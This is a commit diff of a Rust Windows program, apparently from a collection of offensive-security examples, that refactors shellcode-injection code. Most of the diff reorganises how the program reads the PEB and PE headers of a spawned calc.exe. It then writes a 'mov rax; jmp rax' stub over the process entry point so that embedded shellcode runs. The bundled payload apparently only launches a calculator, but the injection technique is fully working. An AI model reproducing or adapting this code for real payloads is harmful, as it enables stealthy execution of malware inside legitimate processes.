@@ -17,12 +17,23 @@ use windows_sys::Win32::System::Threading::{
17
17
PROCESS_BASIC_INFORMATION , PROCESS_INFORMATION , STARTF_USESTDHANDLES , STARTUPINFOA ,
18
18
} ;
19
19
20
+ const X64 : u16 = 0x8664_u16 ;
21
+ const X86 : u16 = 0x14c_u16 ;
22
+ const MZ : u16 = 0x5a4d_u16 ;
23
+ const PE : u32 = 0x4550_u32 ;
24
+
20
25
#[ cfg( target_os = "windows" ) ]
21
26
fn main ( ) {
22
27
let shellcode = include_bytes ! ( "../../w64-exec-calc-shellcode-func.bin" ) ;
23
28
let shellcode_size = shellcode. len ( ) ;
24
29
let program = b"C:\\ Windows\\ System32\\ calc.exe\0 " ;
25
30
31
+ #[ repr( C ) ]
32
+ struct Peb {
33
+ reserved : [ c_char ; 0x10 ] ,
34
+ image_base_address : * mut c_void ,
35
+ }
36
+
26
37
unsafe {
27
38
let mut process_info: PROCESS_INFORMATION = zeroed ( ) ;
28
39
@@ -92,12 +103,6 @@ fn main() {
92
103
panic ! ( "[-]NtQueryInformationProcess failed: {}!" , GetLastError ( ) ) ;
93
104
}
94
105
95
- #[ repr( C ) ]
96
- struct Peb {
97
- reserved : [ c_char ; 0x10 ] ,
98
- image_base_address : * mut c_void ,
99
- }
100
-
101
106
let read_process_memory = |addr : * const c_void , out : * mut c_void , size : usize | {
102
107
let res = ReadProcessMemory ( process_info. hProcess , addr, out, size, null_mut ( ) ) ;
103
108
if res == FALSE {
@@ -118,7 +123,7 @@ fn main() {
118
123
addr_of_mut ! ( dos_header) . cast ( ) ,
119
124
size_of_val ( & dos_header) ,
120
125
) ;
121
- if dos_header. e_magic != 0x5a4d_u16 {
126
+ if dos_header. e_magic != MZ {
122
127
panic ! ( "[-]DOS image header magic was not 0x5a4d!" ) ;
123
128
}
124
129
@@ -128,7 +133,7 @@ fn main() {
128
133
addr_of_mut ! ( signature) . cast ( ) ,
129
134
size_of_val ( & signature) ,
130
135
) ;
131
- if signature != 0x4550_u32 {
136
+ if signature != PE {
132
137
panic ! ( "[-]PE Signature was not 0x4550" ) ;
133
138
}
134
139
@@ -141,62 +146,45 @@ fn main() {
141
146
size_of_val ( & pe_header) ,
142
147
) ;
143
148
144
- let mut opt_header64: IMAGE_OPTIONAL_HEADER64 = zeroed ( ) ;
145
- let mut opt_header32: IMAGE_OPTIONAL_HEADER32 = zeroed ( ) ;
146
- match pe_header. Machine {
147
- 0x8664_u16 => {
148
- read_process_memory (
149
- ( ( peb. image_base_address as usize )
150
- + ( dos_header. e_lfanew as usize )
151
- + size_of_val ( & signature)
152
- + size_of_val ( & pe_header) ) as * const c_void ,
153
- addr_of_mut ! ( opt_header64) . cast ( ) ,
154
- size_of_val ( & opt_header64) ,
155
- ) ;
156
- }
157
- 0x14c_u16 => {
158
- read_process_memory (
159
- ( ( peb. image_base_address as usize )
160
- + ( dos_header. e_lfanew as usize )
161
- + size_of_val ( & signature)
162
- + size_of_val ( & pe_header) ) as * const c_void ,
163
- addr_of_mut ! ( opt_header32) . cast ( ) ,
164
- size_of_val ( & opt_header32) ,
165
- ) ;
166
- }
167
- _ => panic ! (
168
- "[-]Unknow IMAGE_OPTIONAL_HEADER type for machine type: {:#x}" ,
169
- pe_header. Machine
170
- ) ,
171
- }
149
+ let entrypoint;
150
+ let mut ep_buffer = vec ! [ ] ;
172
151
173
- let ep = match pe_header . Machine {
174
- 0x8664_u16 => {
152
+ let read_opt_header = | header : * mut c_void , size : usize | {
153
+ read_process_memory (
175
154
( ( peb. image_base_address as usize )
176
- + usize:: try_from ( opt_header64. AddressOfEntryPoint )
177
- . expect ( "[-]usize::try_from failed!" ) ) as * mut c_void
178
- }
179
- 0x14c_u16 => {
180
- ( ( peb. image_base_address as usize )
181
- + usize:: try_from ( opt_header32. AddressOfEntryPoint )
182
- . expect ( "[-]usize::try_from failed!" ) ) as * mut c_void
183
- }
184
- _ => panic ! (
185
- "[-]Unknow IMAGE_OPTIONAL_HEADER type for machine type: {:#x}" ,
186
- pe_header. Machine
187
- ) ,
155
+ + ( dos_header. e_lfanew as usize )
156
+ + size_of_val ( & signature)
157
+ + size_of_val ( & pe_header) ) as * const c_void ,
158
+ header,
159
+ size,
160
+ ) ;
188
161
} ;
189
162
190
- let mut ep_buffer = vec ! [ ] ;
191
163
match pe_header. Machine {
192
- 0x8664_u16 => {
164
+ X64 => {
165
+ let mut opt_header: IMAGE_OPTIONAL_HEADER64 = zeroed ( ) ;
166
+ read_opt_header ( addr_of_mut ! ( opt_header) . cast ( ) , size_of_val ( & opt_header) ) ;
167
+
168
+ entrypoint = ( ( peb. image_base_address as usize )
169
+ + usize:: try_from ( opt_header. AddressOfEntryPoint )
170
+ . expect ( "[-]usize::try_from failed!" ) )
171
+ as * mut c_void ;
172
+
193
173
// rex; mov eax
194
174
ep_buffer. push ( 0x48_u8 ) ;
195
175
ep_buffer. push ( 0xb8_u8 ) ;
196
176
let mut shellcode_addr = ( addr as usize ) . to_le_bytes ( ) . to_vec ( ) ;
197
177
ep_buffer. append ( & mut shellcode_addr) ;
198
178
}
199
- 0x14c_u16 => {
179
+ X86 => {
180
+ let mut opt_header: IMAGE_OPTIONAL_HEADER32 = zeroed ( ) ;
181
+ read_opt_header ( addr_of_mut ! ( opt_header) . cast ( ) , size_of_val ( & opt_header) ) ;
182
+
183
+ entrypoint = ( ( peb. image_base_address as usize )
184
+ + usize:: try_from ( opt_header. AddressOfEntryPoint )
185
+ . expect ( "[-]usize::try_from failed!" ) )
186
+ as * mut c_void ;
187
+
200
188
// mov eax
201
189
ep_buffer. push ( 0xb8_u8 ) ;
202
190
let mut shellcode_addr = ( addr as usize ) . to_le_bytes ( ) . to_vec ( ) ;
@@ -207,13 +195,14 @@ fn main() {
207
195
pe_header. Machine
208
196
) ,
209
197
}
198
+
210
199
// jmp [r|e]ax
211
200
ep_buffer. push ( 0xff_u8 ) ;
212
201
ep_buffer. push ( 0xe0_u8 ) ;
213
202
214
203
let res = WriteProcessMemory (
215
204
process_info. hProcess ,
216
- ep ,
205
+ entrypoint ,
217
206
ep_buffer. as_ptr ( ) . cast ( ) ,
218
207
ep_buffer. len ( ) ,
219
208
null_mut ( ) ,
@@ -231,6 +220,7 @@ fn main() {
231
220
if res == FALSE {
232
221
panic ! ( "[-]CloseHandle failed: {}!" , GetLastError ( ) ) ;
233
222
}
223
+
234
224
let res = CloseHandle ( process_info. hThread ) ;
235
225
if res == FALSE {
236
226
panic ! ( "[-]CloseHandle failed: {}!" , GetLastError ( ) ) ;
0 commit comments